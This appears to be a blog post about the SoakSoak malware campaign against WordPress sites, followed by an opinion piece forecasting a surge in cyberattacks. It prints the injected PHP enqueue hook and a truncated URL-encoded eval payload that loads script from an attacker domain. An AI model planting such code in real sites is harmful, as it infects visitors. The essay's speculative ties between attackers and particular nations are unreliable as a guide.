Sorry folks, it’s not just big corporations like Staples, Sony, Target etc that are being attacked by rogue elements.

Several 100,000 WordPress sites, including presumably many belonging to average Joes, have been infected with a Javascript malware seeded by SoakSoak.ru, according to security services provider Sucuri.

The malware causes malicious software to be downloaded to a visitor’s computer.

WordPress is used by individuals, small businesses (restaurants, publishers, contractors etc) and non-profits to run blogs and web sites.

The attack from SoakSoak.ru is said to have prompted Google to blacklist over 11,000 domains. Being bbacklisted by Google is often a kiss of death to a small business or non-profit.

Soak.Soak Malware

Sucuri’s preliminary analysis shows correlation between the new malware and the Revslider vulnerability incidents from September 2014.

The SoakSoak malware modifies the file wp-includes/template-loader.php and includes the following content:

function FuncQueueObject()
{
wp_enqueue_script(“swfobject”);
}
add_action(“wp_enqueue_scripts”, ‘FuncQueueObject’);

This supposedly causes wp-includes/js/swobject.js to be loaded on every page on the site with the below malware:

eval(decodeURIComponent
(“%28%0D%0A%66%75%6E%63%74%69%6F%6E%28%29%0D%0A%7B%0D%..72%69%70%74%2E%69%64%3D%27%78%78%79%79%7A%7A%5F%70%65%74%75%73%68%6F%6B%27%3B%0D%0A%09%68%65%61%64%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%73%63%72%69%70%74%29%3B%0D%0A%7D%28%29%0D%0A%29%3B”));

Security experts have found that the malware when decoded loads a javascript malware from the SoakSoack.ru domain, specifically this file: hxxp://soaksoak.ru/xteas/code

Currently, the best fix for the SoakSoak malware is to replace the infected files with clean copies or ideally with a fresh WordPress install.

You can check if your favorite WordPress site has malware by using Securi’s free scanner.

For all those lamenting the current wave of online attacks, I have bad news for you – The worst is still to come.

From the White House to Target to the U.S. State Department to Home Depot to the USPS and countless other organizations, it seems there’s not a single large outfit that’s not suffered a devastating online attack and theft of credit card information and personal data of  millions.

Ask not which large organization has been hacked, instead ask who’s not.

It’s not just businesses that are vulnerable to online attacks. Countless people fall victim daily to diverse forms of malware attacks on their desktop and laptop computers.

A couple of years back, a Google Search Results Hijack malware destroyed one of my Windows PCs.

Ransomware demands to unlock computers have escalated in recent months.

The world is full of nutcases determined to make life miserable for others.

And there’s nothing we can do about it considering there are far too many cyber-attack vectors (active attacks, passive attacks like search engine results and drive-by attacks when you visit an innocent-looking web site etc).

The fundamental weaknesses of the Internet architecture and the availability of countless IP addresses make it impossible to control the wave of attacks. You can sit in a Kiev or New Delhi basement and mount an anonymous attack on a NYC bank with impunity, a feat unimaginable in the physical world.

Even if you block 20, 200 or 2,000 IP addresses via hardware firewalls or IP Tables, hackers still have access to tens of thousands of other IPs from which to crash your web site, attack the server or plant malware in the network.

Each time you block an IP, CIDR or even an entire nation from accessing your network, the cyber-terrorist has no worries. None at all. Because he still has recourse to thousands of other IPs from which to reload and relaunch his attack on your point-of-sale system, server, web site or network.

But the current wave of attacks is just the harbinger of worse things to come over the next decade, more so with the inroads thatr information technology has made into all walks of life (hospitals, electric grids, transportation hubs, schools, air-traffic control, electronic voting etc).

Mark my words!

You’ll look back nostalgically to the present times as the halcyon days of the Internet.

Knowledge Economy —> Cyber Attacks

Until fairly recently, the knowledge economy was the exclusive preserve of U.S., Canada, UK, Germany, France, Japan, South Korea, Russia, Australia, New Zealand and a handful of other countries.

A knowledge economy is not merely one that has a high degree of literacy but one where a wide swathe of people leverage computers and information technology as powerful tools to forge ahead in education, entertainment, business, espionage and war.

By putting knowledge on steroids, information technology has created the knowledge economy.

Thanks to U.S. government funding of research labs (1945-75) and the entrepreneurial itch of Silicon Valley pioneers (1968-2014), the knowledge economy first flowered in the U.S., then moved east to Europe and now reached the shores of a few Third World nations.

For a variety of reasons (falling prices of computers, low-cost school/university education, economic growth etc), the knowledge economy is now starting to establish roots in ambitious nations like China, India, Brazil and Turkey, all with large populations.

Expansion of the knowledge economy to new nations has been accompanied by a massive surge in adoption of open source software like Linux in these nations. I suspect Kali Linux and Ubuntu have more users in China, Russia, India, Ukraine and Turkey than in the rest of the world combined.

As the knowledge economy reaches new geographical frontiers, expect the law of unintended consequences to come into play.

I predict there will be a tremendous surge in cyber attacks on all organizations (small, medium and large) for seven reasons:

* Expansion of the knowledge economy to new nations (like China, India, Iran, Brazil, Turkey etc) providing citizens access to basic infrastructure

* Growth of the open source software movement and easy availability of scores of free tools for port scanning, vulnerability scanning and exploiting servers and networks

* Increasing gap between people entering the knowledge economy and the economic opportunities for them Continue reading »